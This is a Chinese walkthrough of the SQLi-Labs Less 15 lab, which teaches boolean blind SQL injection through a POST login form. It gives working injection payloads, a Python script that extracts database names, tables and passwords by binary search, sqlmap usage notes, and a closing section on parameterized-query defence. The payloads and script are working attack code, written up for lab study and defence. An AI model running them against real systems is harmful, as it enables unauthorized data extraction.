如果你刷过SQL-Lab,大概率在Less 15这里会停一下。这个关卡的外观就是一个普通登录框:用户名、密码、登录按钮,再无其他。但它和前几关完全不同,从可以直观看到回显的联合查询,直接切换到了盲注,而且是POST方式提交、单引号闭合的布尔盲注。很多人在这里蒙掉:地址栏里塞参数没反应,页面上也看不到任何数据列表,只有登录成功和登录失败两种状态。
其实这正是Less 15的教学目标:在"看不到查询结果"的前提下,靠页面两种状态的差异,把数据库里的信息一位一位地"问"出来。这篇文章就从实战角度拆解Less 15。我假定你已经刷过Less 1到14,至少了解联合查询和基本的SQL语法;如果你只是听说过SQL注入,想看看盲注是怎么一回事,也能读完这篇文章后照着手工复现一遍。整个思路完全围绕本地靶场环境,目的是弄懂盲注原理,方便后续做防护设计,千万别拿真实网站练手。
1. Less 15到底在考什么:一个登录框背后的布尔盲注
1.1 这一关的注入形态:POST + 单引号 + 布尔盲注
Less 15的考点可以拆成三个关键词:POST方式传参、单引号闭合、布尔盲注。
先说POST。前几关(比如Less 1到Less 4)的注入点都在URL地址栏里,参数直接跟在问号后面,属于GET方式。Less 15从GET切到了POST,参数放在HTTP请求体里。这意味着你直接在浏览器地址栏改URL是没用的,必须借助Burp Suite、hackbar这类工具,或者自己写脚本去发POST请求。这一步就筛掉了不少第一次接触POST注入的人。
再说单引号闭合。页面上的用户名输入框,在后台SQL语句里是被一对单引号包着的。你把一个单引号提交上去,相当于在SQL语句里强行加了一个额外的引号,破坏了原本的语法结构,MySQL就会报错。这个报错信息会告诉你"这里有一个闭合符,你可以从这里下手"。
最后说布尔盲注。前几关的联合查询之所以能成功,是因为页面会把查询结果展示出来,比如用户名、密码、ID这些字段直接显示在页面上。Less 15不一样,它把查询结果藏起来了:只有"登录成功"和"登录失败"两种页面。你无法直接看到数据库里的内容,只能通过构造一个条件,让页面在"条件成立"和"条件不成立"之间切换,从而间接地推断信息。这就是布尔盲注,也叫基于布尔的盲注。
1.2 为什么联合查询到这里突然失效
很多人刷到这一关,第一反应还是套用前一关的联合查询套路,比如在用户名字段里构造一个UNION SELECT,希望能把users表的数据一次性带出来。结果发现页面什么数据都不显示,只有成功或失败。
原因很简单:联合查询想要生效,前提是页面能够把SQL查询结果渲染出来。Less 15的页面逻辑大概是:查询到了结果,就显示"已登录";查询不到结果,就显示"登录失败"。它根本不展示SELECT出来的username和password,只展示一个布尔结果。UNION SELECT即使执行成功,查询到的额外行也会被PHP直接忽略掉,因为页面压根没有设计"把查询结果列表打印出来"这个功能。
所以,Less 15就是要逼你换一种思路:既然页面只能反馈"真"和"假",那就把一个个复杂的SQL查询,拆解成一条条"是对是错"的判断题。这就是布尔盲注的核心思维方式。
1.3 登录页背后那条SQL长什么样
要理解Less 15的注入原理,最好先看一眼后台的SQL语句逻辑。Less 15底层的PHP代码大致是这样的逻辑:
$uname = $_POST['uname']; $passwd = $_POST['passwd']; $sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result = mysql_query($sql); if ($row = mysql_fetch_array($result)) { // 显示登录成功 } else { // 显示登录失败 }这条SQL语句注意两个地方:第一,$uname和$passwd是直接拼接进去的,没有做任何转义,属于典型的字符串拼接型注入;第二,整个查询外面包了一层WHERE username='...' and password='...',所以闭合符就是单个引号。
你提交username = admin'时,SQL就变成了:
SELECT username, password FROM users WHERE username='admin'' and password='' LIMIT 0,1两个连续的单引号让MySQL语法崩掉,于是页面出现报错。这个报错,就是Less 15给你留下的第一道突破口。
2. 手工试探注入点:从报错到布尔判断的完整链路
2.1 先建立基线:正常请求长什么样
在动手注入之前,一定要先记录正常请求的反馈,这是后面判断一切异常的基准。
用Burp Suite打开Less 15的页面,登录界面就两个字段:用户名uname、密码passwd。随便提交一个帐号密码,比如uname=admin&passwd=123456,先看一眼响应包。我这里本地靶场的反馈是:页面显示"Login Failed",状态码200,没有额外报错信息。这就是"正常但失败"的基线。
为什么要先做这一步?因为后续判断注入是否成功,全都依赖页面反馈的变化。你不知道基线长什么样,就可能把正常的登录失败当成注入条件不成立,把报错当成什么灵异事件。
2.2 单引号的"爆破点":报错就是突破口
接下来做第一步试探:在用户名输入框里提交一个单引号。
uname=admin'&passwd=123456这次响应明显不同。页面不再安静地显示"Login Failed",而是抛出了一段MySQL错误信息,核心内容类似:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1'看到这个报错,基本可以确认三件事:
- 用户名参数确实被拼进了SQL语句;
- 用户名的闭合方式是单引号;
- 数据库是MySQL,且有原始报错信息泄露。
报错信息里还有个小线索:near ''admin'',说明我们提交的admin'被拼接后,形成了'admin''这种结构。SQL解析器在这个位置崩了。你不需要懂太深,只要知道这里就是注入点就够。Less 15不会过滤你,所以单引号直接生效;后面有些关卡做了过滤,单引号可能被转义,处理方式又不一样。
2.3 用 and 1=1 / and 1=2 把页面变成判断题
确定闭合符是单引号之后,下一步就是验证"能不能用条件控制页面状态"。这是布尔盲注里最关键的确认实验。
在用户名字段输入:
uname=admin' and 1=1#&passwd=123456#是MySQL的注释符,作用是把它后面的SQL内容全部注释掉,包括and password='...'这一段。拼出来的SQL变成:
SELECT username, password FROM users WHERE username='admin' and 1=1#' and password='' LIMIT 0,1注释符之后的内容不再参与执行,所以password随便填。此时username='admin'如果成立,and 1=1也一定成立,整条SQL能查到数据,页面显示登录成功。
接着把条件改成and 1=2:
uname=admin' and 1=2#&passwd=1234561=2永远不成立,所以整个WHERE条件为假,查询不到任何数据,页面显示登录失败。
到这里,一个非常重要的结论出现了:只要我在admin' and ...#的省略号位置放一个条件,页面的登录成功/失败就会跟着这个条件的真假走。这样,页面就变成了一台只回答"对/错"的机器。接下来所有数据提取工作,都是把"字符是多少""表名叫什么"这类问题,翻译成这台机器能回答的判断题。
2.4 为什么建议先手工判断再上sqlmap
做安全测试的人都会用sqlmap,但我强烈建议这一关先手工走一遍,再决定要不要上工具。理由有三点:
- 工具跑不出来的时候,你能快速定位问题。很多人在Less 15直接跑
sqlmap -u,结果发现什么都没跑出来,因为sqlmap默认是跑GET参数,你得显式指定--data="uname=x&passwd=y"。不懂这个原理,就会一头雾水。 - 手工注入能帮你理解布尔盲注的底层逻辑。sqlmap本质上就是把你手工做的这些判断自动化了,它内部会发
and 1=1、and 1=2去探测,然后根据页面差异推断信息。你手工过一遍,之后用sqlmap时,看到它发那些奇怪的payload就不会觉得神秘。 - 工具跑出来的数据你也知道怎么验证。比如sqlmap告诉你库名是security,你心里有数它是通过逐字符判断出来的,而不是瞎猜的。
当然,手工判断完闭合方式和注入类型后,再交给sqlmap去批量爆数据,这是很合理的组合。后面脚本部分我会给出自己用的自动化方案。
3. 手工布尔盲注的完整流程:从库名到数据一条龙
3.1 猜库名:SUBSTR + ASCII 的固定套路
现在进入实战提取阶段。Less 15的数据库是MySQL,默认库名是security,但我不能假设每个人都知道,所以要走一遍完整的获取流程。
布尔盲注提取数据,核心就是要学会两个函数:
substr(字符串, 起始位置, 长度):截取字符串片段,比如substr(database(), 1, 1)表示取数据库名的第1个字符。ascii(字符):把字符转成ASCII数字,比如ascii('s')等于115。
为什么要先转成ASCII数字?因为布尔盲注只能判断"大于""小于""等于",数字最方便做大小比较。字符没法直接比较,但ASCII码可以。
判断数据库名长度的payload:
uname=admin' and length(database())>1#&passwd=x如果页面登录成功,说明数据库名长度大于1。继续加大数字,直到条件为假,就能确定长度。比如length(database())=8成功,说明库名长度是8,正好是security的字符数。
判断第一个字符:
uname=admin' and ascii(substr(database(),1,1))=115#&passwd=x如果页面成功,说明第一个字符的ASCII码是115,对应字母s。第二个字符就把substr(database(),1,1)改成substr(database(),2,1),以此类推。纯手工这么做非常慢,一个8位库名就要发几十个请求。所以套路熟悉之后,我建议直接跳到后面的脚本方案。
3.2 查表名:information_schema泄露表名
拿到库名之后,下一步是获取表名。MySQL有一个默认的元数据库叫information_schema,里面记录了所有数据库、表、字段的信息。只要你注入的数据库账号有读权限(SQL-Lab默认有),就能从里面翻出全部家底。
查第一条表名的payload:
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>64#&passwd=x我来拆解一下这个payload的结构。最外层是ascii(substr(...)),中间的select table_name from information_schema.tables where table_schema='security' limit 0,1,意思是:从security库里,取出第一个表的名字。limit 0,1是MySQL的分页语法,表示跳过0条,取1条。想取第二个表,就改成limit 1,1,第三个表改成limit 2,1。
这条payload如果成立,说明第一个表名的首字母ASCII码大于64,也就是字母表中A之后的字符。继续缩小范围,最后能精确确定每个字符。Less 15的库里有users、emails等表,表名第一个字符是e对应的ASCII码是101。
注意一个小坑:information_schema.tables这个表里会包含MySQL自带的系统表,所以最好在条件里加上where table_schema='security',把范围限定在当前库,不然会翻出大量无关数据。
3.3 读字段与数据:十六进制编码和LIMIT遍历
表名确定之后,比如我们知道有users表,下一步就是查users表里的字段名。
查第一个字段名的payload:
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105#&passwd=x执行成功的话,说明users表的第一个字段名首字母ASCII码是105,也就是字母i。继续往下逐字符判断,会发现第一个字段是id。这里table_name='users'中间的单引号不要怕,它是SQL内部的一对引号,和外面包裹username='admin'的引号是配对的,不会冲突。
字段名查完,就轮到真正的数据。假设users表有id、username、password三个字段,我想拿第一行数据的password:
uname=admin' and ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=xASCII码68对应大写字母D,所以第一条记录的密码首字母是D。SQL-Lab的users表第一条记录是Dumb,所以这个判断是成立的。
这里有几个实战中的小技巧:
- 如果某个字段名或表名带了下划线、数字等特殊字符,ASCII码会在48到57(数字)或95(下划线)附近,范围判断法照样能处理。
- 数据可能会很长,比如30个字符的密码,没必要每次从头猜。先用
length((select password from users limit 0,1))确定长度,再有目标地逐位提取。 - 如果表里数据量很多,
limit 0,1一行一行往后挪就行,但要注意数据量太大时请求次数会很多,这时候脚本的效率优势就体现出来了。
3.4 用二分法把127次请求压到7次
逐字符判断ASCII码,最笨的办法是从1试到127,每次判断"是不是等于某个数"。但更好的办法是二分法:每次只问"这个字符的ASCII码是不是大于某个中间值"。
比如要猜一个字符的ASCII码,范围是32到127(可打印字符区间),先问ascii(... ) > 64。如果成立,说明字符在65到127之间,下一步问> 96;如果不成立,说明在32到64之间,下一步问> 48。每次把范围缩小一半,最多7次请求就能确定一个字符,而不是127次。
这背后的道理很简单:布尔盲注的每一次请求只能带来一个bit的反馈信息——是或者否。7次请求最多能区分2的7次方等于128种可能,正好覆盖ASCII可打印字符。这也是为什么布尔盲注虽然慢,但配合二分法其实完全可以忍受的原因。
手工二分法可以用Burp的Repeater反复改数字,但那样太累。真正舒服的方式是把二分法写进脚本,这也是后面一章要做的事。
4. 把重复劳动丢给脚本:一个可复用的Python布尔盲注脚本
4.1 脚本骨架:requests + 单线程手工轮询
手工发几十个请求还能接受,但要把数据库所有表、字段、数据全部提取出来,手工就太痛苦了。我通常的做法是写一个简单的Python脚本,把Less 15的布尔判断封装成一个函数,然后往里面填不同的条件。
先装依赖:
pip install requests完整的脚本骨架如下:
import requests url = "http://127.0.0.1/sqli-labs/Less-15/" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } def is_true(condition): """发送一次POST请求,判断condition是否为真""" data = { "uname": f"admin' and {condition}#", "passwd": "x" } resp = requests.post(url, data=data, headers=headers, timeout=10) return "You are Logged in as" in resp.text这里判断条件为真的依据是:Less 15登录成功时,页面会返回You are Logged in as这段文字。我不用"Login Failed" not in resp.text这种方式,因为报错页面也可能包含Login等字样,匹配成功标志更可靠。
先验证一下函数:
print(is_true("1=1")) # 应为 True print(is_true("1=2")) # 应为 False如果输出不是True和False,说明请求没到服务端,或者页面特征词选错了,先回到第2章的排查流程。
4.2 二分查找版:效率提升的实测对比
验证完is_true函数,就可以写二分法提取数据了。下面的代码以获取数据库名为例:
def get_database_name(): result = "" # 先确定长度 length = 0 for i in range(1, 50): if is_true(f"length(database())>{i}"): length = i else: length = i break print(f"[*] database name length: {length}") # 逐字符提取 for pos in range(1, length + 1): low, high = 32, 127 while low < high: mid = (low + high) // 2 condition = f"ascii(substr(database(),{pos},1))>{mid}" if is_true(condition): low = mid + 1 else: high = mid result += chr(low) print(f"[*] partial: {result}") return result print(get_database_name())这个脚本跑起来,最多7次请求确定一个字符,8位库名大概50多次请求,本地环境几秒钟就出结果。同理,把database()替换成子查询,就可以提取表名、字段名和数据。比如提取表名:
def get_table_names(): tables = [] for idx in range(10): # 假设最多10个表 table_name = "" for pos in range(1, 30): low, high = 32, 127 while low < high: mid = (low + high) // 2 condition = f"ascii(substr((select table_name from information_schema.tables where table_schema='security' limit {idx},1),{pos},1))>{mid}" if is_true(condition): low = mid + 1 else: high = mid if low == 0: break table_name += chr(low) if table_name: tables.append(table_name) return tables这里limit {idx},1就是遍历第idx个表。注意循环结束条件:如果某个位置提取出来是空字符或长度异常,就跳出循环,避免无限跑下去。
4.3 脚本跑不通的常见原因:从请求头到回显判断的坑
脚本写出来之后,第一次跑通常不会那么顺利。我列出几个最常踩的坑,按排查顺序来:
- 请求方式不对。Less 15是POST,你必须用
requests.post,并且把参数放在data字典里。用requests.get发请求,服务端收不到uname和passwd,页面固定显示登录失败。 - 页面特征词匹配出错。不同版本的SQL-Lab成功提示文字可能略有差异。最可靠的方式是先用Burp提交一个
admin' and 1=1#的请求,看响应里到底出现什么成功标志,再把这个标志填进脚本。 is_true("1=1")和is_true("1=2")结果相同。这不是函数问题,而是你的注入语句没有真正闭合到SQL里。检查一下是不是漏了#注释符,或者单引号写成了中文引号。- 注释符被编码问题。有些时候手动构造POST包时,
#没有进行URL编码,服务端解析后可能被截断。requests会自动对#做处理,但如果你是手动curl或写socket,记得把#编码成%23。 - 表名或字段名的大小写。
information_schema.tables是复数,table_schema是单数,写错一个字母就会报错,脚本里is_true返回False,看起来像"查不到数据",实际是SQL写错了。 - 超时。如果目标环境响应慢,requests可能因为超时报错。在测试本地靶场时,可以加
timeout=10;跑真实授权目标时,更要控制线程数和请求频率,避免影响对方服务。
脚本这块,我建议不要急着跑全量提取,先跑一个字段名或一条数据验证流程,确认没问题后再放开全量跑。不然一次跑几百个请求,中途发现判断条件有问题,还得重来。
5. 刷完这一关,值得带走的几件事
5.1 盲注的本质:任何可区分状态都能变成信道
Less 15教给我的最重要的一件事是:盲注的本质不是"看不到数据",而是"存在两种可区分的状态"。登录成功与登录失败是两种状态,响应时间的长短也可以成为两种状态(时间盲注),甚至响应包的长度差异、HTTP状态码的差异,都可能是信息通道。
安全测试里经常讲"带外信道"(OOB),比如利用DNS请求把数据带出来,本质上也是这个思路:只要对方系统存在一个你能观察到的外部信号,数据就能"流"出来。Less 15虽然只是最基础的布尔盲注,但它训练的就是这种信号提取能力。我在实际测试里遇到过页面疯狂跳转、登录状态反向显示的奇葩环境,最后都是靠"找一个稳定可区分的状态特征"来解决问题。
5.2 防御视角:参数化查询如何让Less 15失效
刷靶场不只是为了攻击,更重要的是理解防御方的应对方案。Less 15之所以能注入成功,根本原因是SQL语句用了字符串拼接:
$sql = "SELECT ... WHERE username='$uname' and password='$passwd'";如果后台改用参数化查询,写法会变成类似这样:
$stmt = $pdo->prepare("SELECT ... WHERE username=? and password=?"); $stmt->execute([$uname, $passwd]);这时候,你提交的admin' and 1=1#会被当作一个普通的字符串值,赋给username字段去比较,而不是被解析成SQL代码。单引号无论怎么放,都只是用户名字符的一部分,根本不会破坏语法结构。这就是参数化查询能一劳永逸解决注入问题的原因。
所以Less 15这类关卡,放到真实开发环境里,其实应该反过来提醒开发者:任何用户可控的输入,只要进入SQL语句,都必须走预处理或参数绑定。工程上哪怕有一百种过滤方式,都不如从源头把"代码"和"数据"分开来得可靠。
5.3 一套通用的POST注入排查口诀
刷完这一关,我自己总结了一套针对POST型注入的排查口诀,分享出来供你参考:
- 一看报错:提交单引号或双引号,观察页面是否暴露SQL错误信息,确认闭合方式。
- 二测闭合:用
and 1=1和and 1=2确定布尔条件能否控制页面状态。 - 三探回显:用联合查询试探页面有没有显式数据输出位,有则优先联合查询,无则转盲注。
- 四定类型:根据布尔状态、时间延迟、报错输出,确定当前环境适合哪一种盲注方式。
- 五写脚本:手工确认注入点和判断条件后,再写自动化脚本批量提取数据。
这套口诀不仅适用于SQL-Lab,我在之后刷其他靶场、分析CTF题目时也一直在用。Less 15的特殊之处在于,它逼着你从第2步到第5步必须完整走一遍,没有联合查询可以偷懒。把这一关的操作流程吃透,后面的Less 16、Less 17以及各种变形题,本质上都是换汤不换药。
我自己刷SQL-Lab的习惯,是每过一关就在本地Markdown文件里记录闭合符、注入类型、判断特征词和一条典型payload。Less 15的记录大概长这样:
| 项目 | 内容 |
|---|---|
| 请求方式 | POST |
| 注入点 | uname参数 |
| 闭合符 | 单引号 |
| 注释符 | # |
| 注入类型 | 布尔盲注 |
| 判断特征 | 页面包含"You are Logged in as" |
| 典型Payload | admin' and ascii(substr(database(),1,1))=115# |
后面再遇到类似场景,直接翻记录,能省不少时间。这也是刷靶场最值得养成的习惯:把每一次手动摸索的结论沉淀成可复用的数据,而不是跑完就忘。